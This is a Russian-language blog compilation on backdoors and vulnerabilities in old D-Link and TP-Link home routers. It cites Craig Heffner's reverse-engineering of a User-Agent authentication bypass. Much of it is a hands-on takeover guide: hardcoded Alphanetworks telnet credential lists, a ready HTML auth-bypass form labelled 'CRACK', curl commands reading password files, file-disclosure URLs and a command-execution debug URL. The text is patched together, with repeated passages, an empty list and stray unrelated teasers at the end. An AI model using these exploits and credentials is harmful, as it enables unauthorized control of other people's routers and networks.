В последнее время в сети появилось много информации о том что множество домашних роутеров подвержены уязвимостям. Как привило эти уязвимости связаны с встроеной операционной системой роутеров. Сегодня мы расмотрим очередной пример уязвимых устройств только с ними ситуация еще проще. Производитель сам вставил в код операционной системы роутера функционал позволяющий получить к нему доступ.
В начале года вернулась мода копать различные устройства под рукой, например роутеры. Доступен, распространен, а собой представляет целый мини-компьютер. Тут тебе обычно и Линукс, и веб-морда. И не задалось с D-Link’ом: сначала у них выявили уязвимости в стиле конца 90-х — начала 2000-х, но это ладно. А потом начали находиться разные неприятные бэкдоры.
Первый из них затрагивает модели DIR-300revA, DIR-300revB, DIR-600revB. На устройствах присутствует следующий скрипт:
./rootfs/etc/scripts/misc/telnetd.sh #!/bin/sh image_sign=cat /etc/confi g/image_sign TELNETD=rgdb -g /sys/telnetd if [ "$TELNETD" = "true" ]; then echo "Start telnetd ..." > /dev/console if [ -f "/usr/sbin/login" ]; then lf=rgdb -i -g /runtime/layout/lanif telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf & else telnetd & fi fi root@bt:~/fi rmware/DIR300-extracted# cat rootfs/etc/confi g/image_sign wrgg19_c_dlwbr_dir300
Для нас ключевая строчка — поднятие демона telnetd и указание юзера и пароля. Юзер — Alphanetworks, пароль — версия текущей прошивки. Неприятно, не правда ли? Ну да ладно, едем дальше, стали копать их глубже. Теперь к списку добавляются следующие модели:
• DIR-100;
• DI-524;
• DI-524UP;
• DI-604S;
• DI-604UP;
• DI-604+;
• TM-G5240;
• Planex BRL-04UR (роутеры используют прошивку от D-Link);
• Planex BRL-04CW.
Крейг Хеффнер (Craig Heffner) разреверсил прошивки для этих устройств и сообщил, что нашел интересное место при авторизации на роутере. Если юзерагент равен значению xmlset_roodkcableoj28840ybtide, то авторизация не требуется. Если прочитать строчку задом наперед, получится editby04882joelbackdoor_teslmx, что явно говорит о назначении данного кода. Но сделаем некоторое отступление. Есть непроверенная информация, что данная «фича» юзалась для реконфигурации DNS-сервера какой-то из либ на роутере (начало UA намекает об этом — xmlset) и это просто возможный костыль и злого умысла не было. Но так или иначе, даже если это так — это непростительный в данном случае костыль.
D-Link выпустил обновленные прошивки, исправляющие эти уязвимости. Конечно, все перечисленные модели довольно старые, но очень популярные устройства, разошедшиеся в свое время большим тиражом.
Эксплуатация бэкдора довольна проста, и её суть показана на следующей иллюстрации:
Инструкция по взлому роутера D-Link:
http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html
Скорее всего данный бэкдор может быть использован только внутри сети.
Бэкдор содержат следующие модели роутеров: TL-WDR4300, TL-WR743ND (v1.2 v2.0). Однако данный список может быть не полным.
Оригинал: link
UPDATE от меня:
Помимо URL, который указан выше, в прошивке для TL-WDR4300 содержатся еще два:
Обработка HTTP-запроса к /userRpm/DebugResultRpm.htm:
Как мы видим у скрипта есть три параметра:
/userRpm/DebugResultRpm.htm?cmd=CMD&wan_bpa_usr=osteam&passwd=5up
Если при запросе к этому URL комманда действительно выполняется, то это дает возможность произвести красивую CSRF-атаку (например сменить роутинг или изменить hosts-файл).
Нужны добровольцы с TP-Link, которые могли бы проверить этот URL.
На информационном портале devttys0.com некто Craig Heffner – опытный специалист в области реверс-инжиниринга – выложил статью-исследование очередной программной закладки в роутерах D-Link. На этот раз закладка была выявлена в официальной прошивке для DIR-100 revA, но, по его мнению, присутствует в роутерах других серий:
Коротко говоря, если у вашего браузера установлен User-Agent как «xmlset_roodkcableoj28840ybtide», то вы автоматически получаете админский доступ к веб-панели управления роутером без всякой авторизации.
Первым делом автор скачал официальную прошивку firmware v1.13 для DIR-100 (для его DI-524 используется та же самая). Затем прошёлся по бинарнику своей утилитой binwalk и вынул SquashFS с ситемой, откуда взял веб-сервер /bin/webs и загрузил его в IDA:
Судя по строкам, /bin/webs это модифицированная версия thttpd. Авторы модификации — Alphanetworks, подразделение D-Link, все добавленные методы начинаются с префикса alpha:
Данная функция кажется наиболее интересной. При детальном анализе выясняется, что в ней выполняется сравнение строк – строка со смещением 0xD0 в структуре http_request_t и константой«xmlset_roodkcableoj28840ybtide». Если совпадают, то alpha_auth_check сразу же возвращает 1 (успешная авторизация).
Автор погуглил константу xmlset_roodkcableoj28840ybtide и нашёл единственное упоминание на русском форуме: http://forum.codenet.ru/q58748. Сообщения датируются 2010 годом, но про то, каким образом в бинарнике используется эта строка, никто не упомянул.
Продолжая исследование, Craig находит, что по смещению 0xD0 в структуру http_request_t данные пишутся функцией httpd_parse_request.
Собирая всю полученную информацию воедино, автор в конечном итоге составляет следующий псевдокод для функции alpha_auth_check:
#define AUTH_OK 1
#define AUTH_FAIL -1
int alpha_auth_check(struct http_request_t *request)
{
if(strstr(request->url, "graphic/") ||
strstr(request->url, "public/") ||
strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") == 0)
{
return AUTH_OK;
}
else
{
// These arguments are probably user/pass or session info
if(check_login(request->0xC, request->0xE0) != 0)
{
return AUTH_OK;
}
}
return AUTH_FAIL;
}
You stay classy, D-Link 🙂
Также данной уязвимости подвержены устройства:
Уязвимость у D-Link DIR-300 давно известна. Суть ее проста, возможность увидеть конфигурацию роутера, а иногда и изменить пароль у admin
Суть в создании POST запроса к роутеру по адресу http://192.168.0.1:80/tools_admin.php следующего содержания:
1 2 3 4 5 6 7 8 | ACTION_POST=LOGIN& LOGIN_USER=a& LOGIN_PASSWD=b& login=+Log+In+& NO_NEED_AUTH=1& AUTH_GROUP=0& admin_name=admin& admin_password1=admin |
После этого можно зайти на устройство используя следующую пару логин/пароль: admin/admin
Для удобства можно создать следующий html форму:
1 2 3 4 5 6 7 8 9 10 11 12 13 | <form action="http://192.168.0.1/tools_admin.php" method="POST"> <input type="hidden" name="ACTION_POST" value="LOGIN" /> <input type="hidden" name="LOGIN_USER" value="a" /> <input type="hidden" name="LOGIN_PASSWD" value="b" /> <input type="hidden" name="login" value="+Log+In+" /> <input type="hidden" name="NO_NEED_AUTH" value="1" /> <input type="hidden" name="AUTH_GROUP" value="0" /> Login: <input type="text" name="admin_name" value="admin" /> Password: <input type="text" name="admin_password1" value="admin" /> <input type="submit" value="CRACK" /> </form> |
В новых версиях прошивок данную ошибку прикрыли, но осталась возможность просматривать настройки, для этого достаточно передавать некоторые параметры в GET запросах к роутеру:
1 | http://192.168.0.1/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0 |
Подробнее можно почитать тут.
Есть еще одна возможность. При включении/перезагрузке роутера на некоторое время запускается telnet-сервер доступный всем пользователям LAN/WLAN, который можно использовать для безусловного получения полных административных прав (root) на роутере. Стандартная учетная запись:Alphanetworks Пароль: wrgg19_c_dlwbr_dir300
Тов. N!K!TA подбросил еще пару возможных паролей: wrgn23_dlwbr_dir300bи wrgn49_dlob_dir300b5
Вот еще для Dir-320 wrgg27_dlwbr_dir320
Вот еще пары — логин-пароль от PingWinbl4:
Alphanetworks wrgg19_c_dlwbr_dir300
Alphanetworks wrgn49_dlob_dir600b
Alphanetworks wrgn23_dlwbr_dir600b
Alphanetworks wrgn22_dlwbr_dir615
Alphanetworks wrgnd08_dlob_dir815
Alphanetworks wrgg15_di524
Alphanetworks wrgn39_dlob.hans_dir645
Подробнее можно почитать тут.
Так же замечу что у DIR-300 файл настроек http://192.168.0.1/config.bin зашифрован, но вытащить необходимые данные из него можно с помощьюRouterPassView
Тов. Дядюшка подбросил еще одну уязвимость:
1 | http://192.168.0.1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd |
Все это относится и к Dir-320 (прим. версии A) На картинке демонстрирую их работу:
После авторизации в админке благодаря этой конструкции можно рестарнуть роутер:
1 | http://192.168.0.1/sys_cfg_valid.xgi?&exeshell=submit%20REBOOT |
Вот видео демонстрирующее полный взлом DIR-300 через Wi-Fi (WPA2 WPS):
Вот еще некоторые штуковины, которые стоит опробовать:
1 | curl --data "cmd=cat /var/passwd" http://192.168.0.1/command.php |
1 | http://192.168.0.1/DevInfo.txt |
Подробнее тут
1 | curl 192.168.2.1 -A "xmlset_roodkcableoj28840ybtide" |
Подробнее тут
Уязвимость CVE-2002-0140 DNS демона dnrd тут и тут
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…
View Comments